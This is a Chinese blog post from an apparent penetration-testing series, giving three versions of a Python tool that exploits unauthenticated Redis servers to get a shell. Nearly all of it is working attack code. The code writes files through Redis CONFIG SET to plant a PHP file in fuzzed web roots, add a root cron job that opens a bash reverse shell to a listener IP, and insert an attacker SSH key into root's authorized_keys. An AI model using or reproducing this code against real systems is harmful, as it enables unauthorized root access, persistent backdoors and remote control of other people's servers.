漏洞利用-Redis未授权访问getshell
本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。

:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::

Redis 未授权访问 getshell

pip install redis

V1.0

端口发现
未授权访问漏洞扫描

#! /usr/bin/env python

'''
redis 未授权 getshell

1. 扫描端口 6379
2. 尝试连接
'''

from shutil import ExecError
import socket
from tabnanny import check
import redis

ip = '192.168.225.135'
port_redis = 6379

# socket 端口扫描
def port_scan(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.3)
    try:
        s.connect((ip, 6379))
        print('[+] port %s is opend' % port_redis)
        s.close()
        check_redis_connect(ip)
    except Exception as e:
        print(e)
        print('[-] port %s is closed' % port_redis)
        ...

def check_redis_connect(ip):
    try:
        client = redis.StrictRedis(host=ip, port=port_redis, socket_connect_timeout=0.3)
        print('[+] port %s is connected' % port_redis)
    except:
        print('[-] connect faild')

if __name__ == '__main__':
    port_scan(ip)

V2.0

优化:

  1. 漏洞利用
    1. webshell
    2. cron
    3. ssh
#! /usr/bin/env python

'''
redis 未授权 getshell

1. 扫描端口 6379
2. 尝试连接
3. exp getshell
    3.1 webshell
    3.2 cron
    3.3 ssh
'''

import socket
import paramiko
import redis

ip = '192.168.225.135'
port_redis = 6379

# socket 端口扫描
def port_scan(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.3)
    try:
        s.connect((ip, 6379))
        print('[+] port %s is opend' % port_redis)
        s.close()
        return check_redis_connect(ip)
    except Exception as e:
        print(e)
        print('[-] port %s is closed' % port_redis)
        return False

def check_redis_connect(ip):
    try:
        client = redis.StrictRedis(host=ip, port=port_redis, socket_connect_timeout=0.3)
        if client:
            print('[+] port %s is connected' % port_redis)
            # 漏洞利用
            exp_webshell(client)
            exp_crontab(client)
            exp_ssh(client, ip)

            return True
        else:
            print('[-] port %s is connect faild' % port_redis)
            return False
    except:
        print('[-] connect exception')
        return False

#### 漏洞利用 ####
def exp_webshell(redis_client):
    # 需要 redis 所在主机开启 apache 服务
    path = '/var/www/html'
    file = 'shell.php'
    payload = '<?php phpinfo(); ?>'
    try:
        redis_client.config_set('dir', path)
        redis_client.config_set('dbfilename', file)
        redis_client.set('x', payload)
        redis_client.save()
        print('[+] webshell has saved')
        return True
    except Exception as e:
        print(e)
        print('[-] webshell write faild')
        return False

def exp_crontab(redis_client):
    # 需要提前开启监听等待回连
    # nc -lvvp 8888
    reverse_ip = '192.168.225.128'
    reverse_port = '8888'
    path = '/var/spool/cron/'
    file = 'root'
    payload = '*/1 * * * * /bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (reverse_ip, reverse_port)
    try:
        redis_client.config_set('dir', path)
        redis_client.config_set('dbfilename', file)
        redis_client.set('x', '\n\n%s\n\n' % payload)
        redis_client.save()
        print('[+] crontab has created')
        return True
    except Exception as e:
        print(e)
        print('[-] crontab write faild')
        return False

def exp_ssh(redis_client, ip):
    # 需要提前准备公钥
    #   可以使用 ssh-keygen 命令生成(需要安装 ssh,或者 git)
    #   也可以在其他开启了 ssh 登录的 linux 机器上复制过来
    #   也可以在其他任何支持 ssh 登录的地方生成一份。例如 github,云服务器等
    # 需要指定目录下存在 .ssh 文件(否则写入 sshkey 时有可能会找不到目录)
    user = 'root' # 想要 ssh 登录的账户
    path = '/%s/.ssh' % user # 登录哪个账户,就在哪个账户的目录下的 .ssh 文件中保存公钥
    file = 'authorized_keys'
    ssh_key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChQMNjSBez39Sp35qS0pfg1YLcPdkXhx9OldpQs+HDttCHChRCREaM6LRMOZrbQQPSX6hkCaiQBYfoFRu5MqqC2a9uf+BM5dzP43h/WKc1WyrfM01ClgB8LzYD8kBhKuqSQIZto8g4zRO579xZ90zqTAktp/B0opV4DKyWLrSoM6HD6RnIYhijZT4m+q/Zn9TaxEzu334SCSpjlkkbexqYrUmB+qGSw1/UWFUE8xAJX03doLNkyEjZcmnH3+n2jejJr7WbDdZncg9S8lLoDcyFGEf/0PEHYvlgnj/AcDdWpkr3itjdKhmJlxqeoMiu76A7cSyo0eBSpXyb1nFsVrjTnj/+W7t3Neqmud6lC47fPCYKobiuP/S9ZHD9Mt5zzNRQgyId08sjJAsgLqytCmWHZA9eckvHOkHClbYgfBv92fFHjSWv0i54pW78cElY+kT6vMlM1m5uGrEQwdcRd5EPlpVwyxJd9XqEL6QHpzLy2h29saEbsZQVs4rG5QnOaf8= Administrator@lzzg-IT2023GIJP'
    try:
        redis_client.config_set('dir', path)
        redis_client.config_set('dbfilename', file)
        redis_client.set('x', '\n\n%s\n\n' % ssh_key)
        redis_client.save()
        print('[+] ssh public key has created')

        # SSH 连接
        return ssh_connect(ip, user, ssh_key)
    except Exception as e:
        print(e)
        print('[-] ssh public key write faild')
        return False

def ssh_connect(ip, user, sshkey):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip, 22, user, sshkey)
        print('[+] ssh connect test successful, you can connect this computer without password')
        return True
    except Exception as e:
        print(e)
        print('[-] ssh connect test faild')
        return False

if __name__ == '__main__':
    port_scan(ip)

V3.0

优化 webshell,fuzz 其他中间件的 web 站点目录

#! /usr/bin/env python

'''
redis 未授权 getshell

1. 扫描端口 6379
2. 尝试连接
3. exp getshell
    3.1 webshell
    3.2 cron
    3.3 ssh
4. 优化 webshell 方式 fuzz web 中间件的路径
'''

import socket
from urllib import request
import paramiko
import redis
import requests
from config import wwwroot

# print(wwwroot.ALL)
port_redis = 6379

# socket 端口扫描
def port_scan(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0.3)
    try:
        s.connect((ip, 6379))
        print('[+] port %s is opend' % port_redis)
        s.close()
        return check_redis_connect(ip)
    except Exception as e:
        print(e)
        print('[-] port %s is closed' % port_redis)
        return False

def check_redis_connect(ip):
    try:
        client = redis.StrictRedis(host=ip, port=port_redis, socket_connect_timeout=0.3)
        if client:
            print('[+] port %s is connected' % port_redis)
            # 漏洞利用
            exp_webshell(client, ip)
            exp_crontab(client)
            exp_ssh(client, ip)

            return True
        else:
            print('[-] port %s is connect faild' % port_redis)
            return False
    except:
        print('[-] connect exception')
        return False

#### 漏洞利用 webshell ####
def exp_webshell(redis_client, ip):
    # 需要 redis 所在主机开启 apache 服务
    paths = get_webroot(redis_client)
    for path in paths:
        file = 'shell.php'
        payload = '<?php phpinfo(); ?>'
        try:
            redis_client.config_set('dir', path)
            redis_client.config_set('dbfilename', file)
            redis_client.set('x', payload)
            redis_client.save()
            print('[+] webshell has saved at %s' % path)
            # 目前只测试默认的 web 端口 80,还可以优化
            if web_test(ip, 80, file):
                print('[+] webshell test succesful, you can visit http://%s:80%s' % (ip, path))
            else:
                print('[-] webshell test faild, maybe you can change another port and try it again')
        except Exception as e:
            print(e)
            print('[-] webshell write faild')
    return True

def web_test(ip, port, file):
    url = 'http://%s:%s/%s' % (ip, port, file)
    response = requests.get(url)
    if response.status_code == 200:
        return True
    else:
        return False

def get_webroot(redis_client):
    roots = []
    for pre in wwwroot.ALL:
        for suf in wwwroot.SUFFIXES:
            try:
                root = '%s/%s' % (pre, suf)
                # print(root)
                redis_client.config_set('dir', root)
                print('[+] Find a webroot: %s' % root)
                roots.append(root)
            except Exception as e:
                # print(e)
                continue
    if not roots:
        print('[-] The target computer has no webroot')
    return roots

#### 漏洞利用 crontab ####  
def exp_crontab(redis_client):
    # 需要提前开启监听等待回连
    # nc -lvvp 8888
    reverse_ip = '192.168.225.128'
    reverse_port = '8888'
    path = '/var/spool/cron/'
    file = 'root'
    payload = '*/1 * * * * /bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (reverse_ip, reverse_port)
    try:
        redis_client.config_set('dir', path)
        redis_client.config_set('dbfilename', file)
        redis_client.set('x', '\n\n%s\n\n' % payload)
        redis_client.save()
        print('[+] crontab has created')
        return True
    except Exception as e:
        print(e)
        print('[-] crontab write faild')
        return False

#### 漏洞利用 sshkey ####
def exp_ssh(redis_client, ip):
    # 需要提前准备公钥
    #   可以使用 ssh-keygen 命令生成(需要安装 ssh,或者 git)
    #   也可以在其他开启了 ssh 登录的 linux 机器上复制过来
    #   也可以在其他任何支持 ssh 登录的地方生成一份。例如 github,云服务器等
    # 需要指定目录下存在 .ssh 文件(否则写入 sshkey 时有可能会找不到目录)
    user = 'root' # 想要 ssh 登录的账户
    path = '/%s/.ssh' % user # 登录哪个账户,就在哪个账户的目录下的 .ssh 文件中保存公钥
    file = 'authorized_keys'
    ssh_key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChQMNjSBez39Sp35qS0pfg1YLcPdkXhx9OldpQs+HDttCHChRCREaM6LRMOZrbQQPSX6hkCaiQBYfoFRu5MqqC2a9uf+BM5dzP43h/WKc1WyrfM01ClgB8LzYD8kBhKuqSQIZto8g4zRO579xZ90zqTAktp/B0opV4DKyWLrSoM6HD6RnIYhijZT4m+q/Zn9TaxEzu334SCSpjlkkbexqYrUmB+qGSw1/UWFUE8xAJX03doLNkyEjZcmnH3+n2jejJr7WbDdZncg9S8lLoDcyFGEf/0PEHYvlgnj/AcDdWpkr3itjdKhmJlxqeoMiu76A7cSyo0eBSpXyb1nFsVrjTnj/+W7t3Neqmud6lC47fPCYKobiuP/S9ZHD9Mt5zzNRQgyId08sjJAsgLqytCmWHZA9eckvHOkHClbYgfBv92fFHjSWv0i54pW78cElY+kT6vMlM1m5uGrEQwdcRd5EPlpVwyxJd9XqEL6QHpzLy2h29saEbsZQVs4rG5QnOaf8= Administrator@lzzg-IT2023GIJP'
    try:
        redis_client.config_set('dir', path)
        redis_client.config_set('dbfilename', file)
        redis_client.set('x', '\n\n%s\n\n' % ssh_key)
        redis_client.save()
        print('[+] ssh public key has created')

        # SSH 连接
        return ssh_connect(ip, user, ssh_key)
    except Exception as e:
        print(e)
        print('[-] ssh public key write faild')
        return False

def ssh_connect(ip, user, sshkey):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(ip, 22, user, sshkey)
        print('[+] ssh connect test successful, you can connect this computer without password')
        return True
    except Exception as e:
        print(e)
        print('[-] ssh connect test faild')
        return False

if __name__ == '__main__':
    ip = '192.168.225.135'
    port_scan(ip)
学海无涯,回头是岸。 --- hola
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇